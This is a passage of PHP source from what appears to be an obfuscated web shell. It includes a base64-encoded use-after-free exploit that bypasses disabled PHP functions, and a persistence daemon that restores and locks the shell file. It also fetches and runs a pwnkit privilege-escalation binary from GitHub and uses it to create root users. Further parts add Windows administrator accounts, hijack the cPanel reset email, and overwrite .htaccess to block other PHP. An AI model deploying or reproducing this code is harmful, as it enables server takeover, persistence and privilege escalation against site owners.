        $connt = &#039;PD9waHAKZnVuY3Rpb24gcHduKCRjbWRkKSB7CiAgICBnbG9iYWwgJGFiYywgJGhlbHBlciwgJGJhY2t0cmFjZTsKCiAgICBjbGFzcyBWdWxuIHsKICAgICAgICBwdWJsaWMgJGE7CiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKSB7IAogICAgICAgICAgICBnbG9iYWwgJGJhY2t0cmFjZTsgCiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hKTsKICAgICAgICAgICAgJGJhY2t0cmFjZSA9IChuZXcgRXhjZXB0aW9uKS0+Z2V0VHJhY2UoKTsgIyA7KQogICAgICAgICAgICBpZighaXNzZXQoJGJhY2t0cmFjZVsxXVsnYXJncyddKSkgeyAjIFBIUCA+PSA3LjQKICAgICAgICAgICAgICAgICRiYWNrdHJhY2UgPSBkZWJ1Z19iYWNrdHJhY2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBjbGFzcyBIZWxwZXIgewogICAgICAgIHB1YmxpYyAkYSwgJGIsICRjLCAkZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdHIycHRyKCYkc3RyLCAkcCA9IDAsICRzID0gOCkgewogICAgICAgICRhZGRyZXNzID0gMDsKICAgICAgICBmb3IoJGogPSAkcy0xOyAkaiA+PSAwOyAkai0tKSB7CiAgICAgICAgICAgICRhZGRyZXNzIDw8PSA4OwogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHN0clskcCskal0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFkZHJlc3M7CiAgICB9CgogICAgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbSA9IDgpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgZm9yICgkaT0wOyAkaSA8ICRtOyAkaSsrKSB7CiAgICAgICAgICAgICRvdXQgLj0gY2hyKCRwdHIgJiAweGZmKTsKICAgICAgICAgICAgJHB0ciA+Pj0gODsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRvdXQ7CiAgICB9CgogICAgZnVuY3Rpb24gd3JpdGUoJiRzdHIsICRwLCAkdiwgJG4gPSA4KSB7CiAgICAgICAgJGkgPSAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAgICAgJHN0clskcCArICRpXSA9IGNocigkdiAmIDB4ZmYpOwogICAgICAgICAgICAkdiA+Pj0gODsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gbGVhaygkYWRkciwgJHAgPSAwLCAkcyA9IDgpIHsKICAgICAgICBnbG9iYWwgJGFiYywgJGhlbHBlcjsKICAgICAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRwIC0gMHgxMCk7CiAgICAgICAgJGxlYWsgPSBzdHJsZW4oJGhlbHBlci0+YSk7CiAgICAgICAgaWYoJHMgIT0gOCkgeyAkbGVhayAlPSAyIDw8ICgkcyAqIDgpIC0gMTsgfQogICAgICAgIHJldHVybiAkbGVhazsKICAgIH0KCiAgICBmdW5jdGlvbiBwYXJzZV9lbGYoJGJhc2UpIHsKICAgICAgICAkZV90eXBlID0gbGVhaygkYmFzZSwgMHgxMCwgMik7CgogICAgICAgICRlX3Bob2ZmID0gbGVhaygkYmFzZSwgMHgyMCk7CiAgICAgICAgJGVfcGhlbnRzaXplID0gbGVhaygkYmFzZSwgMHgzNiwgMik7CiAgICAgICAgJGVfcGhudW0gPSBsZWFrKCRiYXNlLCAweDM4LCAyKTsKCiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZV9waG51bTsgJGkrKykgewogICAgICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICAgICAkcF90eXBlICA9IGxlYWsoJGhlYWRlciwgMCwgNCk7CiAgICAgICAgICAgICRwX2ZsYWdzID0gbGVhaygkaGVhZGVyLCA0LCA0KTsKICAgICAgICAgICAgJHBfdmFkZHIgPSBsZWFrKCRoZWFkZXIsIDB4MTApOwogICAgICAgICAgICAkcF9tZW1zeiA9IGxlYWsoJGhlYWRlciwgMHgyOCk7CgogICAgICAgICAgICBpZigkcF90eXBlID09IDEgJiYgJHBfZmxhZ3MgPT0gNikgeyAjIFBUX0xPQUQsIFBGX1JlYWRfV3JpdGUKICAgICAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAgICAgJGRhdGFfYWRkciA9ICRlX3R5cGUgPT0gMiA/ICRwX3ZhZGRyIDogJGJhc2UgKyAkcF92YWRkcjsKICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSAkcF9tZW1zejsKICAgICAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICAgICAkdGV4dF9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmKCEkZGF0YV9hZGRyIHx8ICEkdGV4dF9zaXplIHx8ICEkZGF0YV9zaXplKQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CgogICAgICAgIHJldHVybiBbJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSB7CiAgICAgICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZGF0YV9zaXplIC8gODsgJGkrKykgewogICAgICAgICAgICAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwgJGkgKiA4KTsKICAgICAgICAgICAgaWYoJGxlYWsgLSAkYmFzZSA+IDAgJiYgJGxlYWsgLSAkYmFzZSA8ICRkYXRhX2FkZHIgLSAkYmFzZSkgewogICAgICAgICAgICAgICAgJGRlcmVmID0gbGVhaygkbGVhayk7CiAgICAgICAgICAgICAgICAjICdjb25zdGFudCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSBjb250aW51ZTsKCiAgICAgICAgICAgICRsZWFrID0gbGVhaygkZGF0YV9hZGRyLCAoJGkgKyA0KSAqIDgpOwogICAgICAgICAgICBpZigkbGVhayAtICRiYXNlID4gMCAmJiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7CiAgICAgICAgICAgICAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsKICAgICAgICAgICAgICAgICMgJ2JpbjJoZXgnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgICAgICBpZigkZGVyZWYgIT0gMHg3ODY1NjgzMjZlNjk2MikKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIGNvbnRpbnVlOwoKICAgICAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspIHsKICAgICAgICAkYmFzZSA9IDA7CiAgICAgICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMDAwOyAkaSsrKSB7CiAgICAgICAgICAgICRhZGRyID0gJHN0YXJ0IC0gMHgxMDAwICogJGk7CiAgICAgICAgICAgICRsZWFrID0gbGVhaygkYWRkciwgMCwgNyk7CiAgICAgICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikgeyAjIEVMRiBoZWFkZXIKICAgICAgICAgICAgICAgIHJldHVybiAkYWRkcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykgewogICAgICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgICAgIGRvIHsKICAgICAgICAgICAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsKICAgICAgICAgICAgJGZfbmFtZSA9IGxlYWsoJGZfZW50cnksIDAsIDYpOwoKICAgICAgICAgICAgaWYoJGZfbmFtZSA9PSAweDZkNjU3NDczNzk3MykgeyAjIHN5c3RlbQogICAgICAgICAgICAgICAgcmV0dXJuIGxlYWsoJGFkZHIgKyA4KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYWRkciArPSAweDIwOwogICAgICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyaWdnZXJfdWFmKCRhcmcpIHsKICAgICAgICAjIHN0cl9zaHVmZmxlIHByZXZlbnRzIG9wY2FjaGUgc3RyaW5nIGludGVybmluZwogICAgICAgICRhcmcgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsKICAgICAgICAkdnVsbiA9IG5ldyBWdWxuKCk7CiAgICAgICAgJHZ1bG4tPmEgPSAkYXJnOwogICAgfQoKICAgIGlmKHN0cmlzdHIoUEhQX09TLCAnV0lOJykpIHsKICAgICAgICBkaWUoJ1RoaXMgUG9DIGlzIGZvciAqbml4IHN5c3RlbXMgb25seS4nKTsKICAgIH0KCiAgICAkbl9hbGxvYyA9IDEwOyAjIGluY3JlYXNlIHRoaXMgdmFsdWUgaWYgVUFGIGZhaWxzCiAgICAkY29udGlndW91cyA9IFtdOwogICAgZm9yKCRpID0gMDsgJGkgPCAkbl9hbGxvYzsgJGkrKykKICAgICAgICAkY29udGlndW91c1tdID0gc3RyX3NodWZmbGUoc3RyX3JlcGVhdCgnQScsIDc5KSk7CgogICAgdHJpZ2dlcl91YWYoJ3gnKTsKICAgICRhYmMgPSAkYmFja3RyYWNlWzFdWydhcmdzJ11bMF07CgogICAgJGhlbHBlciA9IG5ldyBIZWxwZXI7CiAgICAkaGVscGVyLT5iID0gZnVuY3Rpb24gKCR4KSB7IH07CgogICAgaWYoc3RybGVuKCRhYmMpID09IDc5IHx8IHN0cmxlbigkYWJjKSA9PSAwKSB7CiAgICAgICAgZGllKCJVQUYgZmFpbGVkIik7CiAgICB9CgogICAgIyBsZWFrcwogICAgJGNsb3N1cmVfaGFuZGxlcnMgPSBzdHIycHRyKCRhYmMsIDApOwogICAgJHBocF9oZWFwID0gc3RyMnB0cigkYWJjLCAweDU4KTsKICAgICRhYmNfYWRkciA9ICRwaHBfaGVhcCAtIDB4Yzg7CgogICAgIyBmYWtlIHZhbHVlCiAgICB3cml0ZSgkYWJjLCAweDYwLCAyKTsKICAgIHdyaXRlKCRhYmMsIDB4NzAsIDYpOwoKICAgICMgZmFrZSByZWZlcmVuY2UKICAgIHdyaXRlKCRhYmMsIDB4MTAsICRhYmNfYWRkciArIDB4NjApOwogICAgd3JpdGUoJGFiYywgMHgxOCwgMHhhKTsKCiAgICAkY2xvc3VyZV9vYmogPSBzdHIycHRyKCRhYmMsIDB4MjApOwoKICAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOwogICAgaWYoISgkYmFzZSA9IGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgZGV0ZXJtaW5lIGJpbmFyeSBiYXNlIGFkZHJlc3MiKTsKICAgIH0KCiAgICBpZighKCRlbGYgPSBwYXJzZV9lbGYoJGJhc2UpKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlciIpOwogICAgfQoKICAgIGlmKCEoJGJhc2ljX2Z1bmNzID0gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSkpIHsKICAgICAgICBkaWUoIkNvdWxkbid0IGdldCBiYXNpY19mdW5jdGlvbnMgYWRkcmVzcyIpOwogICAgfQoKICAgIGlmKCEoJHppZl9zeXN0ZW0gPSBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykpKSB7CiAgICAgICAgZGllKCJDb3VsZG4ndCBnZXQgemlmX3N5c3RlbSBhZGRyZXNzIik7CiAgICB9CgogICAgIyBmYWtlIGNsb3N1cmUgb2JqZWN0CiAgICAkZmFrZV9vYmpfb2Zmc2V0ID0gMHhkMDsKICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMTA7ICRpICs9IDgpIHsKICAgICAgICB3cml0ZSgkYWJjLCAkZmFrZV9vYmpfb2Zmc2V0ICsgJGksIGxlYWsoJGNsb3N1cmVfb2JqLCAkaSkpOwogICAgfQoKICAgICMgcHduCiAgICB3cml0ZSgkYWJjLCAweDIwLCAkYWJjX2FkZHIgKyAkZmFrZV9vYmpfb2Zmc2V0KTsKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDM4LCAxLCA0KTsgIyBpbnRlcm5hbCBmdW5jIHR5cGUKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDY4LCAkemlmX3N5c3RlbSk7ICMgaW50ZXJuYWwgZnVuYyBoYW5kbGVyCgogICAgKCRoZWxwZXItPmIpKCRjbWRkKTsKfQ==&#039;;
        $fungsi[28](&quot;.term-bypass&quot;, $fungsi[32]($connt));
    }
}


if (isset($_GET[&#039;lockshell&#039;])) {
    $curFile = trim(basename($_SERVER[&quot;\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45&quot;]));
    $TmpNames = $fungsi[31]();
    if (file_exists($TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . &#039;-handler&#039;)) &amp;&amp; file_exists($TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . &#039;-text&#039;))) {
        cmd(&#039;rm -rf &#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . &#039;-text&#039;));
        cmd(&#039;rm -rf &#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . &#039;-handler&#039;));
    }
    mkdir($TmpNames . &quot;/.sessions&quot;);
    cmd(&quot;cp $curFile &quot; . $TmpNames . &quot;/.sessions/.&quot; . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . &#039;-text&#039;));
    chmod($curFile, 0444);
    $handler = &#039;
&lt;?php
@ini_set(&quot;max_execution_time&quot;, 0);
while (True){
    if (!file_exists(&quot;&#039; . __DIR__ . &#039;&quot;)){
        mkdir(&quot;&#039; . __DIR__ . &#039;&quot;);
    }
    if (!file_exists(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $curFile . &#039;&quot;)){
        $text = &#039; . $fungsi[33] . &#039;(file_get_contents(&quot;&#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . &#039;-text&#039;) . &#039;&quot;));
        file_put_contents(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $curFile . &#039;&quot;, &#039; . $fungsi[32] . &#039;($text));
    }
    if (gecko_perm(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $curFile . &#039;&quot;) != 0444){
        chmod(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $curFile . &#039;&quot;, 0444);
    }
    if (gecko_perm(&quot;&#039; . __DIR__ . &#039;&quot;) != 0555){
        chmod(&quot;&#039; . __DIR__ . &#039;&quot;, 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf(&quot;%o&quot;, fileperms($flename)), -4);
}
&#039;;
    $hndlers = $fungsi[28]($TmpNames . &quot;/.sessions/.&quot; . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . &#039;-handler&#039;) . &quot;&quot;, $handler);
    if ($hndlers) {
        cmd(PHP_BINARY . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . &#039;-handler&#039;) . &#039; &gt; /dev/null 2&gt;/dev/null &amp;&#039;);
        success();
    } else {
        failed();
    }
}
if (isset($_POST[&#039;gecko-up-submit&#039;])) {
    $namaFilenya = $_FILES[&#039;gecko-upload&#039;][&#039;name&#039;];
    $tmpName = $_FILES[&#039;gecko-upload&#039;][&#039;tmp_name&#039;];
    if ($fungsi[29]($tmpName, $fungsi[0]() . &quot;/&quot; . $namaFilenya)) {
        success();
    } else {
        failed();
    }
}

if (isset($_GET[&#039;destroy&#039;])) {
    $DOC_ROOT = $_SERVER[&quot;\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54&quot;];
    $CurrentFile = trim(basename($_SERVER[&quot;\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45&quot;]));
    if ($fungsi[4]($DOC_ROOT)) {
        $htaccess = &#039;
&lt;FilesMatch &quot;\.(php|ph*|Ph*|PH*|pH*)$&quot;&gt;
    Deny from all
&lt;/FilesMatch&gt;
&lt;FilesMatch &quot;^(&#039; . $CurrentFile . &#039;|index.php|wp-config.php|wp-includes.php)$&quot;&gt;
    Allow from all
&lt;/FilesMatch&gt;
&lt;FilesMatch &quot;\.(jpg|png|gif|pdf|jpeg)$&quot;&gt;
    Allow from all
&lt;/FilesMatch&gt;&#039;;
        $put_htt = $fungsi[28]($DOC_ROOT . &quot;/.htaccess&quot;, $htaccess);
        if ($put_htt) {
            success();
        } else {
            failed();
        }
    } else {
        failed();
    }
}


if (isset($_POST[&#039;save-editor&#039;])) {
    $save = $fungsi[28]($fungsi[0]() . &quot;/&quot; . unx($_GET[&#039;f&#039;]), $_POST[&#039;code-editor&#039;]);
    if ($save) {
        success();
    } else {
        failed();
    }
}

if (isset($_GET[&#039;adminer&#039;])) {
    $URL = &quot;\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70&quot;;
    if (!$fungsi[3](&#039;adminer.php&#039;)) {
        $fungsi[28](&quot;adminer.php&quot;, $fungsi[11]($URL));
        echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($fungsi[0]()) . &#039;&quot;&gt;&#039;;
    }
}


if ($_GET[&#039;terminal&#039;] == &quot;root&quot;) {
    if (!$fungsi[3](&#039;pwnkit&#039;) &amp;&amp; $fungsi[4]($fungsi[0]())) {
        $fungsi[28](&quot;pwnkit&quot;, $fungsi[11](&quot;https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit&quot;));
        cmd(&#039;chmod +x pwnkit&#039;);
        echo cmd(&#039;./pwnkit &quot;id&quot; &gt; .mad-root&#039;);
        echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($fungsi[0]()) . &#039;&amp;terminal=root&quot;&gt;&#039;;
    }
}

if (isset($_POST[&#039;submit-action&#039;])) {
    $items = $_POST[&#039;check&#039;];
    if ($_POST[&#039;gecko-select&#039;] == &quot;delete&quot;) {
        foreach ($items as $it) {
            $repl = str_replace(&quot;\\&quot;, &quot;/&quot;, $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . &quot;/&quot; . $it;
            if (is_dir($fd) || is_file($fd)) {
                $rmdir = unlinkDir($fd);
                $rmfile = $fungsi[24]($fd);
                if ($rmdir || $rmfile) {
                    success();
                } else if ($rmdir &amp;&amp; $rmfile) {
                    success();
                } else {
                    failed();
                }
            }
        }
    } else if ($_POST[&#039;gecko-select&#039;] == &#039;unzip&#039;) {
        foreach ($items as $it) {
            $repl = str_replace(&quot;\\&quot;, &quot;/&quot;, $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . &quot;/&quot; . $it;
            if (ExtractArchive($fd, $repl . &#039;/&#039;) == true) {
                success();
            } else {
                failed();
            }
        }
    } else if ($_POST[&#039;gecko-select&#039;] == &#039;zip&#039;) {
        foreach ($items as $it) {
            $repl = str_replace(&quot;\\&quot;, &quot;/&quot;, $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . &quot;/&quot; . $it;
            if ($fungsi[3]($fd)) {
                compressToZip($fd, pathinfo($fd, PATHINFO_FILENAME) . &quot;.zip&quot;);
            }
        }
    }
}

if (isset($_POST[&#039;submit&#039;])) {
    if ($_POST[&#039;resetcp&#039;] == true) {
        $emailCp = $_POST[&#039;resetcp&#039;];
        $path0cp = dirname($_SERVER[&#039;DOCUMENT_ROOT&#039;]);
        $pathcp = $path0cp . &quot;/.cpanel/contactinfo&quot;;
        $contactinfo = &#039;
&quot;email&quot; : &quot;&#039; . $emailCp . &#039;&quot;
        &#039;;
        if ($fungsi[3]($pathcp)) {
            $fungsi[28]($pathcp, $contactinfo);
            echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=&#039; . $_SERVER[&#039;REQUEST_SCHEME&#039;] . &#039;://&#039; . $_SERVER[&#039;SERVER_NAME&#039;] . &#039;:2083/resetpass?start=1&quot;&gt;&#039;;
        } else {
            failed();
        }
    }
    if ($_POST[&#039;create_folder&#039;] == true) {
        $NamaFolder = $fungsi[12]($_POST[&#039;create_folder&#039;]);
        if ($NamaFolder) {
            success();
        } else {
            failed();
        }
    } else if ($_POST[&#039;create_file&#039;] == true) {
        $namaFile = $fungsi[13]($_POST[&#039;create_file&#039;]);
        if ($namaFile) {
            success();
        } else {
            failed();
        }
    } else if ($_POST[&#039;renameFile&#039;] == true) {
        $renameFile = $fungsi[15](unx($_GET[&#039;re&#039;]), $_POST[&#039;renameFile&#039;]);
        if ($renameFile) {
            success();
        } else {
            failed();
        }
    } else if ($_POST[&#039;chFile&#039;]) {
        $chFiles = $fungsi[30](unx($_GET[&#039;ch&#039;]), $_POST[&#039;chFile&#039;]);
        if ($chFiles) {
            success();
        } else {
            failed();
        }
    } else if (isset($_POST[&#039;add-username&#039;]) &amp;&amp; isset($_POST[&#039;add-password&#039;])) {
        if (!$fungsi[3](&#039;pwnkit&#039;)) {
            cmd(&#039;wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit&#039;);
            cmd(&#039;chmod +x pwnkit&#039;);
            cmd(&#039;./pwnkit &quot;id&quot; &gt; .mad-root&#039;);
            echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($fungsi[0]()) . &#039;&amp;rooting=True&quot;&gt;&#039;;
        } else if ($fungsi[3](&#039;.mad-root&#039;)) {
            $response = $fungsi[11](&#039;.mad-root&#039;);
            $r_text = explode(&quot; &quot;, $response);
            if ($r_text[0] == &quot;uid=0(root)&quot;) {
                $username = $_POST[&#039;add-username&#039;];
                $password = $_POST[&#039;add-password&#039;];
                cmd(&#039;./pwnkit &quot;useradd &#039; . $username . &#039; ; echo -e &quot;&#039; . $password . &#039;\n&#039; . $password . &#039;&quot; | passwd &#039; . $username . &#039;&quot;&#039;);
            } else {
                echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($fungsi[0]()) . &#039;&amp;adduser=failed&quot;&gt;&#039;;
            }
        }
    } else if ($_POST[&#039;lockfile&#039;] == true) {
        $flesName = $_POST[&#039;lockfile&#039;];
        $TmpNames = $fungsi[31]();
        if (file_exists($TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-handler&#039;)) &amp;&amp; file_exists($TmpNames . &#039;/.sessions/.&#039; . remove_dot($flesName) . &#039;-text&#039;)) {
            cmd(&#039;rm -rf &#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-text-file&#039;));
            cmd(&#039;rm -rf &#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-handler&#039;));
        }
        mkdir($TmpNames . &quot;/.sessions&quot;);
        cmd(&quot;cp $flesName &quot; . $TmpNames . &quot;/.sessions/.&quot; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-text-file&#039;));
        cmd(&quot;chmod 444 &quot; . $flesName);
        $handler = &#039;
&lt;?php
@ini_set(&quot;max_execution_time&quot;, 0);
while (True){
    if (!file_exists(&quot;&#039; . $fungsi[0]() . &#039;&quot;)){
        mkdir(&quot;&#039; . $fungsi[0]() . &#039;&quot;);
    }
    if (!file_exists(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $flesName . &#039;&quot;)){
        $text = &#039; . $fungsi[33] . &#039;(file_get_contents(&quot;&#039; . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-text-file&#039;) . &#039;&quot;));
        file_put_contents(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $flesName . &#039;&quot;, &#039; . $fungsi[32] . &#039;($text));
    }
    if (gecko_perm(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $flesName . &#039;&quot;) != 0444){
        chmod(&quot;&#039; . $fungsi[0]() . &#039;/&#039; . $flesName . &#039;&quot;, 0444);
    } 
    if (gecko_perm(&quot;&#039; . $fungsi[0]() . &#039;&quot;) != 0555){
        chmod(&quot;&#039; . $fungsi[0]() . &#039;&quot;, 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf(&quot;%o&quot;, fileperms($flename)), -4);
}
&#039;;
        $hndlers = $fungsi[28]($TmpNames . &quot;/.sessions/.&quot; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-handler&#039;) . &quot;&quot;, $handler);
        if ($hndlers) {
            cmd(PHP_BINARY . $TmpNames . &#039;/.sessions/.&#039; . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . &#039;-handler&#039;) . &#039; &gt; /dev/null 2&gt;/dev/null &amp;&#039;);
            success();
        } else {
            failed();
        }
    } else if ($_POST[&#039;add-rdp&#039;] == True) {
        $userRDP = $_POST[&#039;add-rdp&#039;];
        $passRDP = $_POST[&#039;add-rdp-pass&#039;];
        if (stristr(PHP_OS, &quot;WIN&quot;)) {
            $procRDP = cmd(&quot;net user &quot; . $userRDP . &quot; &quot; . $passRDP . &quot; /add&quot;);
            if ($procRDP) {
                cmd(&quot;net localgroup administrators &quot; . $userRDP . &quot; /add&quot;);
                success();
            } else {
                failed();
            }
        } else {
            failed();
        }
    } else if ($_POST[&#039;mail-from-smtp&#039;] == True) {
        $emailFrom = $_POST[&#039;mail-from-smtp&#039;];
        $emailTo = $_POST[&#039;mail-to-smtp&#039;];
        $emailSubject = $_POST[&#039;mailto-subject&#039;];
        $messageMail = $_POST[&#039;message-smtp&#039;];
        $headersMail = &#039;From: &#039; . $emailFrom . &#039;&#039; . &quot;\r\n&quot; .
            &#039;Reply-To: &#039; . $emailFrom . &#039;&#039; . &quot;\r\n&quot; .
            &#039;X-Mailer: PHP/&#039; . phpversion();
        $procMailSmTp = mail($emailTo, $emailSubject, $messageMail, $headersMail);
        if ($procMailSmTp) {
            success();
        } else {
            failed();
        }
    }
}

if ($_GET[&#039;response&#039;] == &quot;success&quot;) {
    echo &quot;&lt;script&gt;
Swal.fire({
    icon: &#039;success&#039;,
    title: &#039;Sucesss...&#039;,
    text: &#039;Done Success!&#039;,
    confirmButtonColor: &#039;#22242d&#039;,
})&lt;/script&gt;&quot;;
} else if ($_GET[&#039;response&#039;] == &quot;failed&quot;) {
    echo &quot;&lt;script&gt;
Swal.fire({
    icon: &#039;error&#039;,
    title: &#039;Failed...&#039;,
    text: &#039;Something wrong!&#039;,
    confirmButtonColor: &#039;#22242d&#039;,
})
    &lt;/script&gt;&quot;;
}


function success()
{
    echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($GLOBALS[&#039;fungsi&#039;][0]()) . &#039;&amp;response=success&quot;&gt;&#039;;
}
function failed()
{
    echo &#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=?d=&#039; . hx($GLOBALS[&#039;fungsi&#039;][0]()) . &#039;&amp;response=failed&quot;&gt;&#039;;
}

function formatSize($bytes)
{
    $types = array(&#039;&lt;span class=&quot;file-size&quot;&gt;B&lt;/span&gt;&#039;, &#039;&lt;span class=&quot;file-size&quot;&gt;KB&lt;/span&gt;&#039;, &#039;&lt;span class=&quot;file-size&quot;&gt;MB&lt;/span&gt;&#039;, &#039;&lt;span class=&quot;file-size&quot;&gt;GB&lt;/span&gt;&#039;, &#039;&lt;span class=&quot;file-size&quot;&gt;TB&lt;/span&gt;&#039;);
    for ($i = 0; $bytes &gt;= 1024 &amp;&amp; $i &lt; (count($types) - 1); $bytes /= 1024, $i++);
    return (round($bytes, 2) . &quot; &quot; . $types[$i]);
}


function hx($n)
{
    $y = &#039;&#039;;
    for ($i = 0; $i &lt; strlen($n); $i++) {
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function unx($y)
{
    $n = &#039;&#039;;
